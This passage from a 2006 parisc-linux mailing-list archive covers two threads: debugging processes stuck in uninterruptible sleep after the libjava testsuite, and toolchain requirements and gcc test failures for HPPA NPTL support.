	Tue, 11 Jul 2006 22:27:25 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k6C2ROZg023482
	for parisc-linux@lists.parisc-linux.org;
	Tue, 11 Jul 2006 22:27:24 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JGeMcYNHbmw7vq2HZzdLCg5HUzc4clF3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23789

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND

  17958 dave      16   0     0    0    0 D  0.0  0.0   0:00.00 Process_5.exe
  18055 dave      15   0     0    0    0 D  0.0  0.0   0:00.02 Process_6.exe

Anybody got any ideas how processes can end up sleeping forever?  The
above two processes have been sleeping for more than a day.  This is
a 32-bit kernel 2.6.17-rc3-pa3.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Uninterruptible sleep
Date: Wed, 12 Jul 2006 13:19:01 +0800
Lines: 26
Approved: news@gmane.org
Message-ID: <44B48645.1010203@tausq.org>
References: <200607120227.k6C2ROZg023482@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624122 20105 80.91.229.3 (22 Nov 2014 02:42:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jul 2006 05:18:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 12 Jul 2006 07:18:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E76B77D673;
	Tue, 11 Jul 2006 23:18:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27588-07; Tue, 11 Jul 2006 23:18:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70EE57D674;
	Tue, 11 Jul 2006 23:18:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 900B57D6B3
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jul 2006 23:18:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27588-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jul 2006 23:18:47 -0600 (MDT)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 511E57D6B1
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jul 2006 23:18:47 -0600 (MDT)
Original-Received: from rccomp.stlglobal.com ([192.168.100.200])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1G0X7G-0003Zx-0i; Wed, 12 Jul 2006 13:18:30 +0800
User-Agent: Thunderbird 1.5.0.4 (Windows/20060516)
In-Reply-To: <200607120227.k6C2ROZg023482@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: e7GHcP1Gf2I/+IicY2xo8odwdWxlc1ZF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23790

John David Anglin wrote:
>   PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
> 
>   17958 dave      16   0     0    0    0 D  0.0  0.0   0:00.00 Process_5.exe
>   18055 dave      15   0     0    0    0 D  0.0  0.0   0:00.02 Process_6.exe
> 
> Anybody got any ideas how processes can end up sleeping forever?  The
> above two processes have been sleeping for more than a day.  This is
> a 32-bit kernel 2.6.17-rc3-pa3.

can you try doing a sysrq-t and see where they are stuck? This is most
easily done on a serial console by sending a break, and then 't'. If you
are telneting to a GSP console you can escape out to the telnet prompt
and type "send break".

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Uninterruptible sleep
Date: Wed, 12 Jul 2006 13:29:56 -0400 (EDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <200607121729.k6CHTvgp029697@hiauly1.hia.nrc.ca>
References: <44B48645.1010203@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624122 20113 80.91.229.3 (22 Nov 2014 02:42:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org (Randolph Chung)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jul 2006 17:30:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 12 Jul 2006 19:30:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 43A047D6A9;
	Wed, 12 Jul 2006 11:30:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01082-04; Wed, 12 Jul 2006 11:30:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFDC67D6AA;
	Wed, 12 Jul 2006 11:30:03 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2CDBC7D6A8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Jul 2006 11:30:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01082-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Jul 2006 11:29:59 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 0B9D27D6A6
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Jul 2006 11:29:58 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k6CHTvAC029698;
	Wed, 12 Jul 2006 13:29:57 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k6CHTvgp029697;
	Wed, 12 Jul 2006 13:29:57 -0400 (EDT)
In-Reply-To: <44B48645.1010203@tausq.org> from "Randolph Chung" at Jul 12,
	2006 01:19:01 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xFXdCQZLbHIyva3NNjQ0fgwqJihyahA8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23791

> John David Anglin wrote:
> >   PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
> > 
> >   17958 dave      16   0     0    0    0 D  0.0  0.0   0:00.00 Process_5.exe
> >   18055 dave      15   0     0    0    0 D  0.0  0.0   0:00.02 Process_6.exe
> > 
> > Anybody got any ideas how processes can end up sleeping forever?  The
> > above two processes have been sleeping for more than a day.  This is
> > a 32-bit kernel 2.6.17-rc3-pa3.
> 
> can you try doing a sysrq-t and see where they are stuck? This is most
> easily done on a serial console by sending a break, and then 't'. If you
> are telneting to a GSP console you can escape out to the telnet prompt
> and type "send break".

These were left over from the libjava testsuite and I subsequently tried
to kill them.  I don't have a terminal connection to these processes.
So, all I could do is attach to the process with gdb or strace.

I've rebooted the system so these two are lost but it probably will happen
again.  Something changed in the libjava process support and we are getting
testsuite errors again.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPPA NPTL Support committed to libc-ports,help
	needed!
Date: Sat, 15 Jul 2006 13:32:32 +0000
Lines: 40
Approved: news@gmane.org
Message-ID: <44B8EE70.8080602@tiscali.be>
References: <J2EH4I$3077C4C25049A3D92E390FB82AA610CA@scarlet.be>
	<44B8441A.4030200@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624122 20120 80.91.229.3 (22 Nov 2014 02:42:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:02 +0000 (UTC)
Cc: Joel Soete <soete.joel@scarlet.be>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jul 2006 13:33:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 15 Jul 2006 15:33:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D3BE7D69E;
	Sat, 15 Jul 2006 07:33:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27113-01; Sat, 15 Jul 2006 07:33:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 718A47D68A;
	Sat, 15 Jul 2006 07:32:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A15F7D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 07:32:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27005-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 07:32:53 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 8F4CF7D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 07:32:52 -0600 (MDT)
Original-Received: from (ip-62-235-237-105.dial.scarlet.be [62.235.237.105])
	by weequay.is.scarlet.be  with ESMTP id k6FDWcx28552;
	Sat, 15 Jul 2006 15:32:38 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.13) Gecko/20060620 Debian/1.7.13-0.2
X-Accept-Language: en
In-Reply-To: <44B8441A.4030200@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: q9aODekYQEVs4OjDZnVpFMZKNzg2NYIZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23792

Hello parisc-linux,

Randolph Chung wrote:
>>>gcc cvs head newer than 2005-07-05 with TLS turned on.
>>
>>Just to be sure: is it well 2005?
>>if yes latest gcc-4.1 would be good enough (if rebuild with previous binutils)?
> 
> 
> July 2005 sounds correct. Yes, it has been merged for some time. Make
> sure you build gcc with the correct binutils, and that gcc is configured
> to enable TLS.

I have check to <http://buildd.debian.org/build.php?arch=hppa&pkg=gcc-4.1>

and afaik debian gcc-4.1 release >= 4.1.1-6 should be ok
(iirc no gcc configure option to build it with tls support but a check if used binutils supports it)

[snip]
bzip2: missing
binutils: already installed (2.17-1 >= 2.16.1cvs20051214 is satisfied)
binutils-hppa64: missing
[snip]

(still need to check if this pb:
<http://lists.parisc-linux.org/pipermail/parisc-linux/2006-May/029185.html>
is not any more in 4.1.1, i will advise?)

> See the build script Carlos referenced for appropriate
> configure parameters.
> 
> randolph
Many thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPPA NPTL Support committed to libc-ports,	help
	needed!
Date: Sat, 15 Jul 2006 21:49:11 +0800
Lines: 38
Approved: news@gmane.org
Message-ID: <44B8F257.2010900@tausq.org>
References: <119aab440607140756p569f4c28t4e2498969860f722@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624122 20126 80.91.229.3 (22 Nov 2014 02:42:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:02 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jul 2006 13:49:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 15 Jul 2006 15:49:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA1DC7D6A9;
	Sat, 15 Jul 2006 07:49:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27113-09; Sat, 15 Jul 2006 07:49:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 884CA7D6AA;
	Sat, 15 Jul 2006 07:49:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E96AC7D685
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 07:49:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27005-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 07:49:18 -0600 (MDT)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id A38387D682
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 07:49:18 -0600 (MDT)
Original-Received: from localhost ([127.0.0.1])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1G1kW0-0004GS-Hs; Sat, 15 Jul 2006 21:49:04 +0800
User-Agent: Thunderbird 1.5.0.2 (X11/20060516)
In-Reply-To: <119aab440607140756p569f4c28t4e2498969860f722@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DZvdBfddfW4orOWveGVotstmdmllcgWI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23793

> You will need:
> binutils head cvs newer than 2006-05-24.
> gcc cvs head newer than 2005-07-05 with TLS turned on.
> libc-ports cvs head newer than 2006-07-14
> glibc cvs head to match libc-ports.

FWIW, I'm seeing the following FAILs with gcc head built with binutils 
head (from yesterday)

                 === gcc Summary ===

# of expected passes            38513
# of unexpected failures        6
# of unexpected successes       1
# of expected failures          80
# of untested testcases         28
# of unsupported tests          359


FAIL: gcc.c-torture/compile/20001226-1.c  -O2  (test for excess errors)
FAIL: gcc.c-torture/compile/20001226-1.c  -O3 -fomit-frame-pointer 
(test for excess errors)
FAIL: gcc.c-torture/compile/20001226-1.c  -O3 -g  (test for excess errors)
FAIL: gcc.c-torture/compile/20001226-1.c  -Os  (test for excess errors)
FAIL: gcc.c-torture/execute/builtin-bitops-1.c execution,  -O3 
-fomit-frame-pointer -funroll-loops
FAIL: gcc.c-torture/execute/builtin-bitops-1.c execution,  -O3 
-fomit-frame-pointer -funroll-all-loops -finline-functions

glibc built and running make check now..

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPPA NPTL Support committed to libc-ports,   help
Date: Sat, 15 Jul 2006 14:07:36 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200607151807.k6FI7bXl013224@hiauly1.hia.nrc.ca>
References: <44B8F257.2010900@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624123 20131 80.91.229.3 (22 Nov 2014 02:42:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org (Randolph Chung)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jul 2006 18:07:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 15 Jul 2006 20:07:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 698497D6BD;
	Sat, 15 Jul 2006 12:07:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03844-09; Sat, 15 Jul 2006 12:07:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 024277D6B7;
	Sat, 15 Jul 2006 12:07:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 19A017D6B4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 12:07:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03840-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 12:07:39 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id EC1637D6B3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jul 2006 12:07:38 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k6FI7bkx013225;
	Sat, 15 Jul 2006 14:07:37 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k6FI7bXl013224;
	Sat, 15 Jul 2006 14:07:37 -0400 (EDT)
In-Reply-To: <44B8F257.2010900@tausq.org> from "Randolph Chung" at Jul 15,
	2006 09:49:11 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
